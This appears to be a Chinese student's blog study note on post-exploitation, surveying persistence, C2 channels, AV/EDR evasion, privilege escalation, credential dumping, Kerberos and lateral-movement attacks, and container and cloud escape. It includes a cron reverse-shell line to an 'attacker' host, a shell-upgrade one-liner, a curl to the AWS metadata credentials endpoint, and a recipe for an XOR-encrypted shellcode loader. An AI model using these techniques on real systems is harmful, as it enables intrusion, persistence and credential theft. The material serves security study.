咸鱼的大学网络安全学习(五)
后渗透(Post-Exploitation)
一、 操作系统层面的固守与通道
- 持久化 (Persistence)
核心目的: 即使目标重启、打补丁或清理了最初的入口文件,你依然能随时重新连回来。
• Windows 常用手段:
◦ 注册表 Run 键: HKCU\Software\Microsoft\Windows\CurrentVersion\Run (最经典,但容易被EDR扫出来)。
◦ 计划任务 (Scheduled Tasks): 创建隐藏的每日/系统启动任务执行你的代码。
◦ 服务 (Services): 把你的 Malware 包装成一个 Windows Service 并设置自动启动。
◦ WMI 事件订阅: 极高隐蔽性,通过订阅系统事件(如开机、插USB)来触发你的 Payload。
◦ DLL 劫持: 找一个每天都会自启且调用特定 DLL 的合法软件,替换它的 DLL。
• Linux 常用手段:
◦ Cron Jobs: 写进 /etc/crontab 或用户的 crontab(*/5 * * * * bash -i >& /dev/tcp/attacker/443 0>&1)。
◦ Systemd Service: 在 /etc/systemd/system/ 下新建一个 .service 文件。
◦ Profile / Bashrc: 追加到 ~/.bashrc 或 /etc/profile.d/ 下的脚本里。
- 稳定通道 (Stable Channel)
痛点: 你用 nc 弹回来的 Shell 很容易假死、没法用 Tab 补全、没有 STDOUT,或者 IIS 进程一回收你的 Shell 就没了。
• 基础修复 (Linux): 通过 Python 升级为全交互式 TTY:
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z 放到后台 -> stty raw -echo; fg
• 进阶 (Windows): 用 MSFVenom 生成 Stage0 Payload 拿到初始 Shell 后,立刻用 Meterpreter 的 migrate 命令迁移到像 explorer.exe 或 svchost.exe 这种稳定且长期的进程中去,防止被杀。
- C&C (Command & Control / C2)
核心目的: 建立一条受控的、尽量伪装的“遥控链路”。
• 常见形态:
◦ HTTP/HTTPS 反向 Beacon: 最普遍(如 Cobalt Strike 的 Beacon)。流量长得像普通 HTTPS 网页浏览。
◦ DNS 隐蔽隧道: 当目标出网极严,只允许 DNS 查询时,用 iodine 把 TCP 流量封装在 DNS 请求里透出去。
◦ 域前置 (Domain Fronting): 利用高信誉 CDN(如 Azure、Cloudflare)的 Host 头来隐藏你的真实 Team Server IP。
二、 Web 方向的通道转发
- 正向代理 (Forward Proxy) — 拿内网当跳板
• 场景: 你的攻击机在外网,想用 SQLMap 或浏览器去扫内网的 192.168.10.x。
• 做法: 在已控的 DMZ 区 Web 服务器上丢一个 reGeorg (.ashx/.php) 或 Neo-reGeorg,它会把 HTTP 请求转成 SOCKS5 代理流量。
• 使用: 本地挂 proxychains 走 127.0.0.1:1080,就能对内网无感扫描。
- 反向代理 (Reverse Proxy) — 把内网服务拉出来
• 场景: 内网有一台 10.0.0.8 开着 3389 (RDP),你想在自己电脑上连它。
• 做法: 用 frp (fast reverse proxy) 或 EarthWorm (ew)。在目标内网机执行 frpc,让它主动连你的 VPS;VPS 的 frps 监听端口,你本地连 VPS 的端口就等于连到了内网那台机的 3389。
三、 Bypass (免杀与对抗)
核心逻辑: 杀软(AV / EDR)主要看三个东西:静态特征(文件哈希)、行为(API调用)、内存(是否有 RWX 内存段)。
• 针对 360 / 火绒 / 卡巴斯基 的通用绕过思路:
1. 无文件落地 (Fileless): 不用 .exe,全程用 PowerShell 或 VBS 脚本。把加密的 Shellcode 存在内存里直接跑(例如用 Invoke-Shellcode)。
2. 白名单借用 (LOLBins): 找有微软签名的合法程序(如 MSBuild.exe, InstallUtil.exe, regsvr32)来间接执行你的 C# 代码,骗过 360 的数字签名校验。
3. 自定义加载器 (Custom Loader): 用 C/Go 自己写一个加载器,把 msfvenom 生成的 shellcode 做 XOR 加密,运行时在内存里 VirtualAlloc -> memcpy -> CreateThread 执行。绝对不要用裸的 shikata_ga_nai。
• 工具链基础点:
◦ Veil: 老牌免杀框架(现在大多特征已被收录,适合学习原理)。
◦ Nishang / Powersploit: PowerShell 武器库(如 Get-PassHashes, Invoke-PortScan, Out-WmiQuery)。
◦ Unicorn: 把 MSF 的 Payload 转成 Powershell 脚本。
四、 权限 (Privilege Escalation & Account Context)
- 本地账户 vs 域账户
• 本地账户 (Local System / Administrator): 你吃下了这一台机器。但隔壁机器不认这台机器的 SAM 密码。
• 域账户 (Domain User -> Domain Admin): 一旦你在域内提到 DA(域管),整个域林里所有机器你都可以随意推管理员账号进去。
- 提权常用基石工具
• Windows - WinPEAS / Seatbelt / PowerUp: 自动化脚本,帮你看有没有:
◦ 没打补丁的内核漏洞(EternalBlue 类衍生思路)。
◦ 服务路径未加引号(Unquoted Service Path)。
◦ 当前用户有权限修改某服务的 ImagePath(Service Permissions)。
◦ 有 SeImpersonatePrivilege(Cookie/SweetPotato 土豆提权家族)。
• Linux - LinPEAS / lse.sh: 找 SUID 文件、可写 cron、sudo 滥用、内核 exploit。
• Mimikatz: 读 LSASS 进程内存,抓明文密码/NTLM Hash/TGT Ticket。如果开了 wdigest 且用户最近登录,能看到明文。
五、 内网信息收集与拓扑认知
- 信息收集(立足点之后的“开眼”)
• 系统自身:
◦ 网卡配置、路由表:ipconfig /all -> route print -> arp -a(看邻居)。
◦ 进程/DLL:tasklist /svc,看有没有杀毒、EDR、备份软件、数据库(这些往往是下一跳)。
◦ 配置文件收割:翻 web.config, .env, connectionstrings 找数据库连接串。
• 个人 PC 附加价值:
◦ 浏览器凭证(LaZagne)、RDP 保存的连接(SessionGopher)、微信/钉钉本地缓存(组织结构)。
• 域环境特供:
◦ net group "Domain Admins" /domain
◦ nltest /dclist:
◦ BloodHound (SharpHound): 最核心的。它会爬取整张 AD 关系图(谁属于谁、谁能委派谁、谁能 DCSync),在 Neo4j 里给你算好最短提权路径(比如:你→某个组→对该机器有 GenericWrite→Shadow Creds→跳到 DC)。
- 六种基本网络拓扑结构(理论对照企业网)
• 物理上无非是 星型(最常见:接入交换机连核心)、树型(分层 VLAN)、网状(数据中心核心互备)。
• 实战里你怎么看拓扑? 不看连线,看 路由表 + ARP + 防火墙策略。你会体会到三个典型分区:
1. DMZ(有公网映射,你的第一落脚点)
2. 核心业务网(DB、中间件,一般单向隔离进不去 RDP)
3. 办公网 / IT 管理段(域控、WSUS、IT 人员 PC,往往是最软的一层)
六、 横向移动 (Lateral Movement)
- 普通环境(工作组 / 混杂)
• PTH (Pass-the-Hash): 抓到 Administrator 的 NTLM Hash 后,没必要破密码,直接用 impacket-psexec 或 wmiexec.py 拿别的机器的 Shell。
• 弱口令爆破 / 扫共享文件夹: 用 CrackMapExec (CME) 横扫同段 445。
- 零信任语境(Zero Trust)
• 传统“内网=可信”失效。你需要:
◦ 偷 JWT / OAuth Token / 证书(.pfx)。
◦ 找 云端元数据 (169.254.169.254) 偷 IAM 角色临时密钥。
◦ 目标转向应用层 API 逻辑缺陷(越权、SSO 信任链断裂)。
- 域渗透关键概念
• 什么是域控 (DC): 整个域的大脑,跑 AD DS,存着 ntds.dit(包含所有用户的密码 Hash)。
• Kerberos 提权主线:
1. Kerberoasting: 请求服务票据(TGS),拿回来离线爆破服务账户的密码。
2. AS-REP Roasting: 对不设“预认证”的账户直接要 TGT,也能爆破。
3. NTLM Relay / Delegation Abuse: 利用 Net-NTLM 中继到 LDAP/LDAPS,改写 ACL 加 DA。
4. DCSync / Golden Ticket: 一旦你拿下 krbtgt 账户的 Hash,你可以签任意用户的票据(永不过期的万能钥匙)。
七、 虚拟化与云 (Container / Cloud)
- 容器 (Docker)
• 判断: cat /.dockerenv 存在吗?ps aux 里进程极少吗?
• 逃逸基础条件:
◦ 容器以 --privileged 运行。
◦ 宿主机的磁盘挂载进了容器(docker run -v /:/host ...)。
◦ 这时你可以 chroot /host 直接改宿主机的 SSH 密钥或 Crontab。
- 云 (Cloud)
• 如果它在 AWS:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
• 如果成功,你拿到的是临时的 AccessKey/Secret/Token,接下来可以用 Pacu 去枚举 S3 桶、Lambda、甚至给用户提权。
工具 定位
Metasploit (Meterpreter) 后渗透大一统总线(提权、抓密、 pivoting、persistence 脚本)
Mimikatz Windows 内存凭据提取器(Hash / Ticket / Cleartext)
Cobalt Strike (Beacon) 商业级 C2 框架,最适合团队大规模横向 + 社工 + 持久化编排
Empire / Starkiller PowerShell 无文件 C2(偏纯 PowerShell 生态)
Webshell 管理端 蚁剑 / 冰蝎 / 哥斯拉(DMZ 里最常用的“轻型持久化窗口”)
iodine DNS 隧道(出网只有 53 端口时的救命绳)

浙公网安备 33010602011771号